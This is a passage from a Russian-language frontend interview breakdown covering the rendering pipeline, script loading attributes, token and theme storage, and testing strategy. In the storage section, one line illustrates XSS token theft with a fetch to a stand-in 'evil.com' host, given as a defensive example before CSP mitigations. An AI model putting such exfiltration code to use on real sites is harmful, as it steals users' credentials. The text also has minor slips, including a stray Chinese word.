| CLS (Cumulative Layout Shift) | Сумма неожиданных сдвигов layout. | Картинки без width/height, шрифты (FOUT/FOIT), динамический контент. |
5. Чек-лист оптимизации CRP (Senior Level)
- Минимизировать критическую цепочку: Убрать блокирующие ресурсы из
<head>. - Critical CSS: Инлайн стили для Above-the-fold. Остальное —
preload+media="print" onload...илиloadCSS. - Шрифты:
font-display: swap(избегаем невидимого текста),preload-woff2,size-adjust/ascent-override(уменьшаем CLS при подмене шрифта). - JS:
deferдля всего некритического.asyncдля независимых виджетов (аналитика, чаты). Code Splitting (динамическийimport()). - Preload/Preconnect:
<link rel="preconnect" href="https://cdn.example.com" crossorigin>,<link rel="preload" as="font" type="font/woff2" crossorigin href="...">. - 103 Early Hints / Server Push (H2) / Early Hints (H3): Начинать пушить критику до готовности HTML.
- Избегать Layout Thrashing: Использовать
requestAnimationFrameдля чтения/записи,ResizeObserver,IntersectionObserver. - Композиторские анимации: Только
transformиopacityдля анимаций.will-change— с осторожностью (промотит в слой заранее). - Content-Visibility:
content-visibility: auto+contain-intrinsic-sizeдля отложенного рендеринга offscreen контента (skip Layout/Paint).
Резюме: Кандидат описал "учебный" скелет. Senior-ответ требует понимания параллелизма (Preload Scanner, HTTP/2/3 multiplexing), приоритизации (fetchpriority, LCP), блокировок (CSS blocks JS, JS blocks Parser) и архитектуры браузера (Main Thread vs Compositor Thread, Layer promotion, Rasterization). Без этого невозможно диагностировать производительность (Web Vitals) и принимать архитектурные решения (SSR vs CSR, Hydration, Islands Architecture).
Вопрос 25. Что происходит в браузере после получения HTML (Critical Rendering Path)
Таймкод: 01:03:43
Ответ собеседника: Правильный. 1. Парсинг HTML -> DOM. 2. Параллельно загрузка и парсинг CSS -> CSSOM. 3. Объединение DOM и CSSOM -> Render Tree. 4. Layout (Reflow) — расчёт геометрии. 5. Paint — отрисовка. 6. Composite — композиция слоёв (для анимаций, transform/opacity). Упомянул, что браузер оптимизирует через слои.
Правильный ответ:
Кандидат верно назвал основные этапы конвейера (pipeline). На уровне Senior/Tech Lead важно понимать не просто последовательность шагов, а механику блокировок, параллелизм, структуры данных и точки оптимизации. Ниже — углубленный разбор CRP с акцентом на архитектуру современных движков (Blink/WebKit/Gecko).
1. Парсинг HTML и построение DOM (HTML Parsing & DOM Construction)
- Инкрементальность: Парсер работает потоково (streaming). Байты → Токенизатор (состояния: Data, Tag open, Tag name, Attr name/value) → Дерево токенов → DOM-ноды. Это позволяет рендерить страницу частями до полной загрузки HTML.
- Preload Scanner (Сканер предзагрузки): Критично для производительности. Пока основной парсер блокируется на синхронном
<script>(безasync/defer), легковесный Preload Scanner "пробегает" вперед по сырому HTML и ставит в очередь загрузки ресурсы:<img src>,<link rel="stylesheet">,<script src>,<link rel="preload">, шрифты изpreload,srcset,<video poster>. Без него браузер загружал бы ресурсы строго последовательно. - Спекулятивный парсинг (Speculative Parsing): В некоторых движках (Blink) при блокировке на скрипте запускается параллельный парсер для продолжения построения DOM подальше (только для безопасных тегов, без
document.write). document.write: Разрушает инкрементальность и работу Preload Scanner'а. В современной разработке запрещен (вызывает Warning в консоли, блокирует парсер, может стереть документ).- Парсинг фрагментов:
innerHTML,DOMParser,Range.createContextualFragmentиспользуют тот же парсер, но без Preload Scanner'а.
2. Загрузка и парсинг CSS → CSSOM (CSS Object Model)
- Блокирующий ресурс (Render Blocking): Браузер не начинает Layout/Paint, пока не построен CSSOM для всех
<link rel="stylesheet">(безmedia="print"и т.д.) и инлайн-стилей. - Неинкрементальность: В отличие от DOM, CSSOM строится атомарно — браузер должен скачать и распарсить весь файл целиком (каскадность, специфичность,
@media,@supportsтребуют полного контекста). @import— антипаттерн: Вызывает последовательную загрузку (парсер видит@importтолько после скачивания родительского CSS). Использовать<link rel="stylesheet">(параллельная загрузка).- Media Queries:
<link rel="stylesheet" media="print">— не блокирует рендеринг экрана (Low priority).<link media="(max-width: 600px)">— блокирует, если условие истинно. - Critical CSS Pattern: Инлайн критических стилей (Above-the-fold) в
<head>+ асинхронная загрузка остального (preload+onloadилиloadCSS). Разрывает блокировку рендеринга.
3. Построение Render Tree (Render Tree Construction)
- Объединение DOM + CSSOM: Обход DOM-дерева. Для каждой видимой ноды вычисляется Computed Style (решенная каскадность, наследование, дефолты UA stylesheet).
- Что исключается: Ноды с
display: none(и их поддеревья) — полностью отсутствуют в Render Tree. Ноды сvisibility: hidden/opacity: 0— присутствуют, занимают место, но не рисуются. - Псевдоэлементы:
::before,::after,::marker,::placeholder— создают анонимные боксы в Render Tree, которых нет в DOM. - Заменяемые элементы (Replaced Elements):
<img>,<video>,<iframe>,<canvas>,<input>— их внутреннее устройство не парсится как DOM-дети, в Render Tree они — атомарные боксы с интринсическими размерами (intrinsic width/height/ratio).
4. Layout (Reflow / Layout) — Геометрия
- Задача: Вычисление точной геометрии (x, y, width, height) для каждого бокса Render Tree относительно вьюпорта.
- Алгоритм: Рекурсивный обход (обычно top-down для ширины, bottom-up для высоты). Форматирующие контексты (BFC, Flex, Grid, IFC) изолируют расчеты внутри себя.
- Dirty Bit System: Движки помечают "грязные" поддеревья (Needs Layout). При изменении стиля/DOM помечается путь к корню. Layout выполняется пакетно перед Paint.
- Force Synchronous Layout (Layout Thrashing): Чтение геометрических свойств (
offsetTop,getBoundingClientRect(),scrollWidth,clientHeight) после записи в DOM в том же тике JS заставляет браузер выполнить Layout синхронно посередине скрипта.- Паттерн: Batch Read / Batch Write (читать всё → писать всё). Использовать
requestAnimationFrameилиrequestPostAnimationFrameдля разделения чтения/записи по кадрам.
- Паттерн: Batch Read / Batch Write (читать всё → писать всё). Использовать
- Интринсические размеры: Для
width: auto(блочные), Flex/Grid айтемов, картинок — расчет зависит от контента (min-content, max-content, fit-content).
5. Paint (Rasterization) — Рисование пикселей
- Display List (Список отображения): Результат Layout — упорядоченный список команд рисования (DrawRect, DrawText, DrawImage, DrawPath, ClipRect). Это сериализуемое представление кадра.
- Разбивка на слои (Layerization): Не все рисуется в один битмап. Движок разделяет страницу на Graphics Layers (Compositor Layers).
- Причины создания слоя (Promotion): 3D transform (
translateZ(0)),will-change: transform/opacity,<video>,<canvas>,opacityанимация (GPU),filter,backdrop-filter,overflow: scroll(иногда), корневой слой (Root Layer).
- Причины создания слоя (Promotion): 3D transform (
- Растеризация (Rasterization): Преобразование Display List каждого слоя в текстуру (битмап) на GPU (Skia/Ganesh/Graphite) или CPU.
- Tiling: Большие слои режутся на тайлы (обычно 256x256 или 512x512). Растеризуются только видимые + соседние тайлы (при скролле догружаются).
- Paint Holding: Если шрифт не загружен (
font-display: block/autoпо умолчанию), браузер может задержать Paint текста (FOIT — Flash of Invisible Text) или нарисовать фоллбек (font-display: swap— FOUT).
6. Composite (Compositing) — Финальная сборка кадра
- Compositor Thread (Impl Thread): Отдельный поток (не Main Thread). Получает текстуры слоев, их матрицы трансформации, скролл-оффсеты.
- Действие: Умножает матрицы, накладывает текстуры друг на друга (z-index, stacking context), применяет скролл (просто сдвиг текстуры), отправляет итоговую текстуру на экран (Swap Buffers / Present).
- GPU Acceleration: Вся математика композиции — на GPU. Очень дешево.
- Пропуск Main Thread: Анимации
transformиopacityна промоченных в слой элементах идут исключительно на Compositor Thread. Main Thread может быть занят тяжелым JS (Long Task 200мс), но анимация будет плавной 60/120fps. - Layer Explosion (Взрыв слоев): Слишком много слоев (
will-changeна сотнях элементов) → огромное потребление VRAM, накладные расходы на управление деревом слоев, сортировку Z-order. Может убить производительность хуже, чем репейнт.
7. Взаимодействие с JavaScript (Event Loop & Rendering Steps)
Согласно HTML Event Loop Spec (RequestAnimationFrame callback timing):
1. Run Microtasks (Promise.then, queueMicrotask)
2. Run RequestAnimationFrame callbacks (JS анимации, чтение/запись DOM -> Layout Thrashing risk)
3. **Style Calculation** (Recalc Style) -> **Layout** (Reflow)
4. **Paint** (Generate Display Lists, Rasterize if needed)
5. **Composite** (Compositor Thread takes over, draws frame)
6. Browser presents frame (VSync)
7. Repeat...
requestAnimationFrame(rAF): Лучшее место для визуальных изменений (перед Style/Layout). Гарантирует выполнение до следующего кадра.requestIdleCallback/scheduler.yield: Для невизуальной тяжелой работы (парсинг JSON, расчеты), чтобы не блокировать Main Thread перед rAF.IntersectionObserver/ResizeObserver: Колбэки срабатывают после Layout (перед Paint), безопасны для чтения геометрии.
8. Оптимизация CRP — Чек-лист для Production
| Этап | Метрика / Проблема | Решение (Senior Level) |
|---|---|---|
| Network | TTFB, Blocking CSS/JS | 103 Early Hints, preconnect, preload (high fetchpriority), Critical CSS Inline, defer/async/type=module. |
| Parsing | Long Parsing Blocking | content-visibility: auto + contain-intrinsic-size (пропуск рендера offscreen), избегать巨大的 DOM (>1500 узлов, глубина >32). |
| Style/Layout | Forced Sync Layout, Layout Thrashing | Read/Write Batching, getBoundingClientRect кэшировать, transform вместо left/top, contain: layout для изоляции. |
| Paint | Expensive Paint Area, Complex Styles | will-change (осторожно), упрощение box-shadow/border-radius/filter на анимируемых элементах, промоция в слой. |
| Composite | Layer Explosion, Repaints on Scroll | contain: paint / content-visibility, избегать position: fixed на скроллящихся контейнерах (проблемы с компоновкой). |
| Fonts | FOIT/FOIT -> CLS | font-display: swap, preload woff2, size-adjust / ascent-override / descent-override (CSS Font Metrics Override) для точного совпадения фоллбека. |
| Images | LCP, CLS | fetchpriority="high" на LCP-изображении, явные width/height (Aspect Ratio mapping в CSS), loading="lazy" для below-fold, AVIF/WebP + <picture>. |
Резюме: Кандидат знает "схему". Senior-разработчик знает, где ломается параллелизм (CSS blocks JS execution, JS blocks Parser, Layout Thrashing), как управлять приоритетами (Preload Scanner, fetchpriority, Early Hints), как работает GPU-конвейер (Layer Promotion, Tiling, Compositor Thread independence) и как измерять/фиксить через Web Vitals (LCP, CLS, INP) и Chrome DevTools (Performance, Rendering, Layers tabs).
Вопрос 26. На каком этапе выполняется JavaScript и как на это влияют атрибуты script
Таймкод: 01:05:55
Ответ собеседника: Правильный. Инлайн-скрипт блокирует парсинг синхронно. Внешний скрипт без атрибутов — тоже блокирует. async — загружается асинхронно, выполняется сразу загрузке (порядок не гарантирован). defer — загружается асинхронно, выполняется после построения DOM, в порядке появления. Уточнил: defer ждёт DOMContentLoaded.
Правильный ответ:
Кандидат верно описал базовую модель. На уровне Senior/Tech Lead важно понимать механику Event Loop, взаимодействие с CSSOM, нюансы модулей и влияние на Critical Rendering Path. Ниже — углубленный разбор.
1. Фундаментальное правило: JS блокирует HTML Parser
Парсер HTML (Main Thread) при встрече <script> (инлайн или внешний без атрибутов) останавливает построение DOM:
- Приостанавливает токенизацию HTML.
- (Для внешнего) Инициирует загрузку (или берет из кэша/Preload Scanner).
- Ждет CSSOM: Если перед скриптом есть незагруженные/неспарсенные
<link rel="stylesheet">, выполнение JS ждет готовности CSSOM. JS может запрашиватьgetComputedStyle,offsetWidth— им нужны готовые стили. - Парсит и выполняет JS (компиляция -> выполнение).
- Возобновляет HTML Parser.
Последствие: Длинный синхронный скрипт в <head> без defer/async = белый экран до его завершения (блокирует FCP/LCP).
2. Детальная классификация атрибутов
| Атрибут | Загрузка | Выполнение | Блокирует Parser? | Порядок | DOMContentLoaded | CSSOM Wait | Типичный Use Case |
|---|---|---|---|---|---|---|---|
| Нет (Sync) | Блокирующая (в порядке парсинга) | Синхронно, сразу | Да | Гарантирован | Ждет | Да | Критичный инлайн (CSP nonce, inline config), маленькие скрипты в конце <body> (устарело). |
async | Асинхронная (параллельно, высокий приоритет) | Сразу после загрузки (прерывает парсер) | Да (в момент выполнения) | Не гарантирован (кто быстрее загрузился) | Не ждет / Не блокирует | Да (если CSSOM не готов — ждет перед выполнением) | Независимые виджеты: аналитика (GA, Metrika), чаты, реклама, A/B тесты. Не зависит от DOM/других скриптов. |
defer | Асинхронная (параллельно, высокий приоритет) | После парсинга HTML, перед DOMContentLoaded | Нет | Гарантирован (по порядку в HTML) | Ждет выполнения всех defer | Да (ждет CSSOM перед выполнением очереди) | Основной паттерн для App Bundle (<script defer src="app.js"> в <head>). Зависит от полного DOM. |
type="module" | Асинхронная (CORS, параллельно) | После парсинга HTML, перед DOMContentLoaded | Нет | Гарантирован (по порядку, с учетом графа зависимостей) | Ждет | Да | Современный стандарт. Неявный defer. Строгий режим по умолчанию. |
module + async | Асинхронная | Сразу после загрузки (графа) | Да (в момент выполнения) | По готовности графа | Не ждет | Да | Динамические фичи, не блокирующие основной рендеринг. |
3. Ключевые нюансы, упущенные в базовом ответе
А. CSSOM блокирует выполнение JS (Script Blocking on CSS)
> Правило: Браузер не выполнит ни один скрипт (inline, async, defer, module), пока не будут загружены и распарсены все предыдущие в DOM блокирующие стили (<link rel="stylesheet"> без media="print" и т.д.).
- Это касается и
asyncскриптов: они загружаются параллельно, но перед выполнением встают в очередь на ожидание CSSOM. - Оптимизация: Критичный CSS инлайнить в
<head>, некритичный выносить (media="print" onload...), чтобы не задерживать выполнениеdefer/moduleбандлов.
Б. defer и DOMContentLoaded — строгая последовательность
Спецификация (HTML Living Standard) определяет порядок в DOMContentLoaded:
- Парсер доходит до
</html>(DOM готов). - Выполняются все отложенные скрипты (
defer,module) в строгом порядке появления. - Срабатывает событие
DOMContentLoaded.
- Если
deferскрипт делаетdocument.write— он вставляется в поток парсера (legacy, избегать). - Ошибка в одном
deferскрипте не останавливает выполнение последующихdefer(в отличие от синхронных), но ломает цепочку промисов внутри модуля.
В. ES Modules (type="module") — неявный defer + граф зависимостей
- Поведение по умолчанию ===
defer(выполнение после парсинга HTML, в порядке). - Параллельная загрузка графа: Браузер парсит
import/exportдо выполнения (статический анализ) и качает весь граф зависимостей параллельно. - CORS: Модули всегда загружаются с CORS (
crossorigin="anonymous"по умолчанию). Сервер должен отдаватьAccess-Control-Allow-Origin. - MIME Type: Сервер обязан отдавать
Content-Type: application/javascript(илиtext/javascript), иначе браузер заблокирует выполнение (MIME type mismatch). - Module Map: Кэширование по URL. Один и тот же модуль загружен/выполнен один раз на страницу.
Г. Инлайн-модули (<script type="module">)
- Ведут себя как
defer: ждут парсинг HTML, выполняются в порядке появления среди другихdefer/module. - Могут использовать
import.meta.url,top-level await(блокирует выполнение своего скрипта и последующихdefer/moduleдо разрешения, но не блокирует парсер).
Д. async на инлайн-скрипте — не работает
<script async>console.log(1)</script> — атрибут игнорируется, выполняется синхронно.
- Исключение:
<script async type="module">— работает (загружает зависимости асинхронно, выполняет по готовности).
Е. Динамические скрипты (document.createElement('script'))
- По умолчанию
async: true(поведение IE/legacy). - Современный стандарт:
script.async = false-> поведение какdefer(выполнение в порядке добавления, после парсинга, если парсер еще работает). - Используется для Lazy Loading чанков (Code Splitting):
import('./chunk.js')создает динамический<script type="module">(async по умолчанию).
4. Взаимодействие с Preload Scanner и Приоритетами
- Preload Scanner видит
srcв<script defer>,<script async>,<script type="module">и ставит их в очередь загрузки с высоким приоритетом (High/Highest) параллельно с парсингом HTML. fetchpriority="high"/"low"(Chrome 101+): Явное управление приоритетом загрузки.<script defer fetchpriority="high">— критичный бандл приложения.<script async fetchpriority="low">— аналитика.
preloadvsdefer:<link rel="preload" as="script" href="app.js">+<script defer src="app.js">— предзагрузка максимально рано (даже до парсинга HTML тега script), выполнение — стандартноеdefer. Полезно, если тег скрипта глубоко в теле или добавляется динамически.
5. Паттерны загрузки в Production (Senior Best Practices)
Паттерн 1: Modern Standard (Рекомендуемый)
<head>
<!-- Критичный CSS инлайн или preload -->
<style>/* Critical CSS */</style>
<link rel="preload" as="style" href="non-critical.css" onload="this.rel='stylesheet'">
<!-- Основной бандл приложения: модуль, в head, не блокирует парсер, ждет DOM -->
<script type="module" src="/app.js" fetchpriority="high"></script>
<!-- Внешние независимые виджеты: async, низкий приоритет -->
<script async src="https://analytics.example.com/tracker.js" fetchpriority="low"></script>
</head>
<body>...</body>
- Парсер не блокируется.
app.jsкачается максимально рано (Preload Scanner + High priority).- Стили не блокируют выполнение
app.js(Critical CSS инлайн). - Аналитика не блокирует ничего.
Паттерн 2: Module/NoModule Fallback (Legacy Support)
<script type="module" src="/modern.js"></script>
<script nomodule src="/legacy.bundle.js" defer></script>
- Современные браузеры качают
modern.js(module), игнорируютnomodule. - Старые (IE11) качают
legacy.bundle.js(defer), игнорируютtype="module".
Паттерн 3: Инлайн-конфигурация до модуля
<script>window.APP_CONFIG = { apiUrl: '/api', featureFlags: {} };</script>
<script type="module" src="/app.js"></script>
- Инлайн выполняется синхронно при парсинге (блокирует парсер на микросекунды).
app.js(module/defer) выполнится позже и увидитwindow.APP_CONFIG.
6. Диагностика в DevTools (Performance Tab)
- Main Thread Track: Ищите желтые блоки
Parse HTML, прерываемые оранжевымиScript Evaluation/Compile Script. - Timing:
Script Evaluation> 50-100мс = Long Task (блокирует INP/TTI). Решение: Code Splitting, Web Workers (Partytownдля third-party),isInputPending()/scheduler.yield(). - Network Tab -> Priority: Проверяйте, что критичные скрипты имеют
High/Highest, third-party —Low. - Console Warnings: "A preload for '...' is found, but is not used..." — несоответствие
as="script"и реального типа, илиpreloadбез последующего тега.
Резюме: Кандидат знает синтаксис. Senior понимает конкуренцию за Main Thread: как async/defer/module взаимодействуют с CSSOM, Preload Scanner, Event Loop и Network Stack. Ключевой навык — проектировать <head> так, чтобы разблокировать парсер (FCP/LCP), параллельно качать бандлы (TTFB -> Download) и гарантировать порядок инициализации приложения (defer/module queue) без блокировок на стилях.
Вопрос 27. Где хранить access/refresh токены, тему сайта и отличия localStorage, sessionStorage, cookies
Таймкод: 01:11:44
Ответ собеседника: Правильный. Access/refresh токены — в httpOnly cookies (безопаснее) или localStorage (если нет httpOnly). Тема — localStorage (переживает перезагрузку). sessionStorage — только вкладка, не переживает закрытие. localStorage — навсегда. Cookies — автоматическая отправка с запросами, доступны серверу, есть флаги HttpOnly, Secure, SameSite. Правильно разделил по кейсам.
Правильный ответ:
Кандидат верно разделил хранилища по сценариям использования. На уровне Senior/Tech Lead важно углубиться в векторов атак (XSS vs CSRF), архитектуру токенов (Access vs Refresh), механику SameSite, Subresource Integrity и стратегии ротации/отзыва токенов. Ниже — расширенный разбор с акцентом на безопасность и операционную зрелость.
1. Access Token / Refresh Token: Где и как хранить (Threat Modeling)
Выбор хранилища — это выбор между рисками XSS (Cross-Site Scripting) и CSRF (Cross-Site Request Forgery).
| Хранилище | Уязвимость | Защита | Когда применять |
|---|---|---|---|
httpOnly + Secure + SameSite=Strict/Lax Cookie | CSRF (авто-отправка) | SameSite (современный стандарт), CSRF-токены (legacy), Origin/Referer проверка | Gold Standard для Refresh Token. Access Token — короткоживущий (5-15 мин), в памяти. |
localStorage / sessionStorage | XSS (доступ через document.*) | CSP (Content Security Policy), Trusted Types, санитизация, короткий TTL Access Token | Если бэкенд не может ставить куки (cross-domain без shared domain, serverless functions, legacy API). Требует строгого CSP. |
| Memory (JS Variable / Closure / React Context / Pinia Store) | XSS (кража из памяти возможна, но сложнее автоматизировать) | Нет автоматической отправки, не виден в DevTools Application tab | Best Practice для Access Token (Short-lived). Не выживает при перезагрузке вкладки — фича, не баг (требует Silent Refresh). |
Архитектура "Split Token Pattern" (Рекомендуемая Senior-ом):
- Access Token (JWT, 5-15 мин): Хранится только в памяти (переменная модуля, store). Используется в
Authorization: Bearer <token>заголовке. Не попадает в куки/локалсторедж.- Плюс: XSS не дает долгосрочного доступа, токен умирает при закрытии вкладки/рефреше.
- Минус: Нужен механизм обновления без перелогина пользователя.
- Refresh Token (Opaque string / JWT, 7-30 дней): Хранится в
httpOnlySecureSameSite=StrictCookie (на поддоменеauth.example.com).- Плюс: JS не имеет доступа (защита от XSS кражи долгоживущего токена).
SameSite=Strictзащищает от CSRF на современных браузерах. - Реализация Silent Refresh: При старте приложения (или 401 ошибке) ->
POST /auth/refresh(with credentials) -> новый Access Token в память -> ретрай исходного запроса.
- Плюс: JS не имеет доступа (защита от XSS кражи долгоживущего токена).
Критичные флаги Cookies (Обязательно к простановке):
Set-Cookie: refresh_token=xyz; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh; Domain=.example.com; Max-Age=2592000
HttpOnly— недоступенdocument.cookie(защита от XSS).Secure— только HTTPS (защита от MITM).SameSite=Strict— не отправляется при cross-site переходах (клик по ссылке из почты/другого сайта).Laxдопустим для GET-навигаций, ноStrictбезопаснее для токенов.Path=/auth/refresh— кука улетает только на эндпоинт рефреша, не на все API (принцип минимальных привилегий).__Host-префикс (опционально) — требуетSecure,Path=/, безDomain(защита от поддоменной подмены).
2. Access Token в памяти: Детали реализации
// Пример паттерна (TypeScript)
let accessToken: string | null = null;
let refreshPromise: Promise<string> | null = null;
export const getAccessToken = () => accessToken;
export const setAccessToken = (token: string) => { accessToken = token; };
// Interceptor (Axios / Fetch / Ky)
api.interceptors.response.use(
response => response,
async error => {
const originalRequest = error.config;
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true;
// Дедупликация параллельных 401
if (!refreshPromise) {
refreshPromise = fetch('/auth/refresh', {
method: 'POST',
credentials: 'include' // Важно: отправляет httpOnly куку
}).then(res => {
if (!res.ok) throw new Error('Refresh failed');
return res.json();
}).then(data => {
accessToken = data.accessToken;
return accessToken;
}).finally(() => { refreshPromise = null; });
}
const newToken = await refreshPromise;
originalRequest.headers.Authorization = `Bearer ${newToken}`;
return api(originalRequest);
}
return Promise.reject(error);
}
);
Важные нюансы:
- Race Condition: Несколько параллельных запросов получают 401 -> должен быть один запрос на рефреш (промис-кэш
refreshPromise). - Logout / Revocation: При логауте ->
POST /auth/logout(очищает куку серверомSet-Cookie: ... Max-Age=0) +accessToken = nullна клиенте. - Token Rotation (Refresh Token Rotation): Сервер выдает новый Refresh Token при каждом обновлении (инвалидирует старый). Детектит кражу (Reuse Detection) — если старый токен использован повторно -> инвалидировать всю цепочку сессий пользователя.
3. Тема сайта (Theme) и пользовательские настройки
localStorage— правильный выбор для персистентных пользовательских предпочтений (тема, язык, настройки UI).- Критический UX: FOUC (Flash of Unstyled Content) / FART (Flash of Inaccurate Color Theme).
- Проблема: React/Vue гидратируются после чтения
localStorage-> мигание дефолтной темой. - Решение: Inline Script в
<head>(до рендера корневого элемента).
<head><script>(function() {try {var theme = localStorage.getItem('theme');var systemDark = window.matchMedia('(prefers-color-scheme: dark)').matches;if (theme === 'dark' || (!theme && systemDark)) {document.documentElement.classList.add('dark');} else {document.documentElement.classList.remove('dark');}} catch (e) {} // Safari Private Mode может кидать ошибку на localStorage})();</script></head>- Это гарантирует правильный CSS до первого кадра (FCP).
- Проблема: React/Vue гидратируются после чтения
4. Детальное сравнение хранилищ (Таблица для Senior-интервью)
| Характеристика | Cookies | localStorage | sessionStorage | Memory (JS Heap) |
|---|---|---|---|---|
| Емкость | ~4 KB (на куку, всего ~300) | ~5-10 MB (на origin) | ~5-10 MB (на вкладку) | Ограничено RAM вкладки |
| Жизненный цикл | Expires / Max-Age | Явное удаление / clear() | Закрытие вкладки (Tab) | Перезагрузка страницы / Навигация |
| Доступность | Все вкладки Origin | Все вкладки Origin | Только текущая вкладка | Только текущий контекст JS |
| Отправка на сервер | Автоматически (с каждым запросом) | Никогда (только JS) | Никогда (только JS) | Никогда (только JS) |
| Доступ с сервера | Set-Cookie / Cookie Header | Нет | Нет | Нет |
| Subdomain Sharing | Domain=.example.com (настраиваемо) | document.domain (устарело) / postMessage | Нет | postMessage / BroadcastChannel |
| Синхронность | Синхронно (чтение/запись) | Синхронно (блокирует Main Thread) | Синхронно | Синхронно |
| Защита от XSS | HttpOnly (да) | Нет (доступен document) | Нет | Частично (нет прямого API) |
| Защита от CSRF | SameSite, CSRF-Tokens | Да (не отправляется автоматически) | Да | Да |
| Private/Incognito Mode | Работает (обычно) | Может кидать ошибку (Safari) / Лимиты | Может кидать ошибку | Работает |
Performance Note: localStorage/sessionStorage — синхронные блокирующие API. Чтение больших объемов (>100KB) на старте приложения задерживает TTI. Для больших клиентских кэшей — IndexedDB (асинхронная, транзакционная, поддержка индексов, курсоров).
5. Дополнительные векторы атак и защиты
- XSS через
localStorage: Если атакующий внедрил скрипт ->fetch('https://evil.com/steal?data=' + localStorage.getItem('token')).- Защита: CSP
script-src 'self' 'nonce-...'(запрет inline скриптов), Trusted Types (запретinnerHTML/evalsinks), короткий TTL Access Token.
- Защита: CSP
- CSRF через Cookies: Авто-отправка кук при переходе по ссылке/форме.
- Защита:
SameSite=Strict/Lax(современный стандарт, покрывает 95%+ пользователей). Для старых браузеров / сложных кейсов — Double Submit Cookie Pattern или Custom Header (X-Requested-With) + проверкаOrigin.
- Защита:
- Cookie Prefixes:
__Secure-(требуетSecure),__Host-(требуетSecure,Path=/, нетDomain— защита от "Cookie Tossing" атаки поддоменов). - Storage Partitioning (CHIPS / Partitioned Cookies):
Set-Cookie: ...; Partitioned;— изолирует куку в контексте топ-левел сайта (Third-Party Cookie Replacement). Актуально для виджетов/ифреймов.
6. Чек-лист Security Review для хранения токенов (Senior Checklist)
- Access Token — в памяти (JS переменная), TTL ≤ 15 мин.
- Refresh Token — в
httpOnlySecureSameSite=StrictCookie,Pathограничен эндпоинтом/refresh. - Реализован Silent Refresh с дедупликацией запросов (
refreshPromise). - Сервер поддерживает Refresh Token Rotation + Reuse Detection.
- CSP настроен:
script-src,object-src 'none',base-uri 'self',form-action 'self'. - Trusted Types включены (или полифилл) для предотвращения DOM XSS.
- Тема/настройки — в
localStorageс inline-скриптом в<head>для предотвращения FOUC. - Нет чувствительных данных (PII, токены) в
localStorage/sessionStorageв открытом виде. - Обработка
QuotaExceededError/SecurityError(Private Mode Safari) вtry/catchпри работе со Storage API. - Для кросс-доменной архитектуры — единый
auth.example.com(SSO) сSameSite=None; Secure(если нужно в ифрейме) или Redirect-based Flow (PKCE).
Резюме: Кандидат знает базовое разделение. Senior мышит в терминах Threat Modeling: "Что хуже — утечка токена через XSS или CSRF-атака?". Современный стандарт — Access Token в памяти + Refresh Token в httpOnly SameSite=Strict Cookie. Это минимизирует поверхность атаки для самого ценного актива (долгоживущий доступ) и делает короткоживущий токен недоступным для автоматической эксфильтрации. Обязательным сопутствующим элементом является CSP + Trusted Types как вторая линия обороны от XSS.
Вопрос 28. Какие виды тестов знаешь и что использовал на практике
Таймкод: 01:14:38
Ответ собеседника: Правильный. Юнит-тесты (хелперы, функции), снэпшот-тесты компонентов. Упомянул визуальные регрессионные тесты (не снэпшоты DOM, а скриншоты) на пет-проекте. Интеграционных и e2e (Selenium/Cypress) на работе не писал — автотестеры пишут мало из-за частых изменений.
Правильный ответ:
Кандидат перечислил основные уровни пирамиды тестирования и честно описал производственную реальность (разделение ответственности с QA, хрупкость E2E). На уровне Senior/Tech Lead ожидается понимание стратегий тестирования (Testing Trophy / Honeycomb), инструментария (Vitest, Playwright, Storybook), подходов к изоляции (MSW, Testcontainers) и метрик качества (Coverage, Mutation Testing). Ниже — расширенный разбор.
1. Классификация тестов и их место в CI/CD (Testing Trophy)
Современный подход (Kent C. Dodds) смещает фокус с "Пирамиды" (много юнитов, мало E2E) к Трофею: Integration Tests — основной объем, Unit — для сложной логики, E2E — для критических пользовательских путей.
| Уровень | Цель | Инструменты (2024 Standard) | Скорость | Изоляция | Что тестируем |
|---|---|---|---|---|---|
| Static Analysis | Типы, линт, формат | TypeScript (strict), ESLint, Prettier, Stylelint | Мгновенно | Полная | Контракты, синтаксис, доступность, best practices |
| Unit (Logic) | Чистые функции, утилиты, хуки, сторы | Vitest / Jest, @testing-library/react (renderHook) | Очень быстро | Полная (моки зависимостей) | Алгоритмы, валидация, селекторы, редюсеры, утилиты дат/денег |
| Component / Integration | Взаимодействие частей (Компонент + Хук + API) | Vitest + Testing Library + MSW (Mock Service Worker) | Быстро | Частичная (мок HTTP, не DOM) | Рендер, состояния (loading/error/success), события, формы, роутинг |
| Visual Regression | Визуальная стабильность UI | Storybook + Chromatic / Playwright + pixelmatch / Loki | Средне | Реальный браузер (headless) | Дизайн-система, верстка, темная тема, респонсив, анимации (off) |
| E2E / Contract | Критические пользовательские сценарии | Playwright (Chrome/Firefox/WebKit, Mobile) | Медленно | Нулевая (реальный бэкенд / Staging) | Авторизация, оплата, онбординг, ключевые флоу |
2. Unit-тесты: Что, Как и Зачем (Best Practices)
Что тестируем (Public API, не имплементацию):
- Pure Functions: Форматтеры, парсеры, валидаторы, хелперы работы с коллекциями.
- Business Logic Hooks:
useFilter,usePagination,useAuth(логика, не рендер). - State Management: Редюсеры (Redux/Zustand/Pinia), экшены, селекторы.
- Complex Components Logic: Кастомные хуки внутри компонентов (через
renderHook).
Инструментарий: Vitest (современный стандарт вместо Jest)
- Нативная поддержка ESM, TypeScript, Vite config.
vi.mock,vi.fn,vi.spyOn— мощный API для моков.vi.useFakeTimers()— контроль времени (дебаунс, троттл, анимации).
Паттерн AAA (Arrange-Act-Assert) + Testing Library Queries:
// vitest + @testing-library/react
import { render, screen, fireEvent } from '@testing-library/react';
import { describe, it, expect, vi } from 'vitest';
import { UserProfile } from './UserProfile';
import { userApi } from '@/api/userApi';
// Мок модуля (Vitest автоматически хоистит vi.mock)
vi.mock('@/api/userApi');
describe('UserProfile', () => {
it('renders user name after successful load', async () => {
// Arrange
const mockUser = { id: 1, name: 'Alice', role: 'admin' };
userApi.getUser.mockResolvedValue(mockUser); // MSW лучше для интеграции, тут unit мок
// Act
render(<UserProfile userId={1} />);
// Assert (Loading state)
expect(screen.getByText('Loading...')).toBeInTheDocument();
// Act (wait for async)
await screen.findByText('Alice'); // Автоматически ждет появления
// Assert (Final state)
expect(screen.getByText('Alice')).toBeInTheDocument();
expect(screen.getByText('Role: admin')).toBeInTheDocument();
expect(userApi.getUser).toHaveBeenCalledOnceWith(1);
});
it('shows error message on API failure', async () => {
userApi.getUser.mockRejectedValue(new Error('Network Error'));
render(<UserProfile userId={1} />);
await screen.findByText(/error/i);
expect(screen.getByText(/network error/i)).toBeInTheDocument();
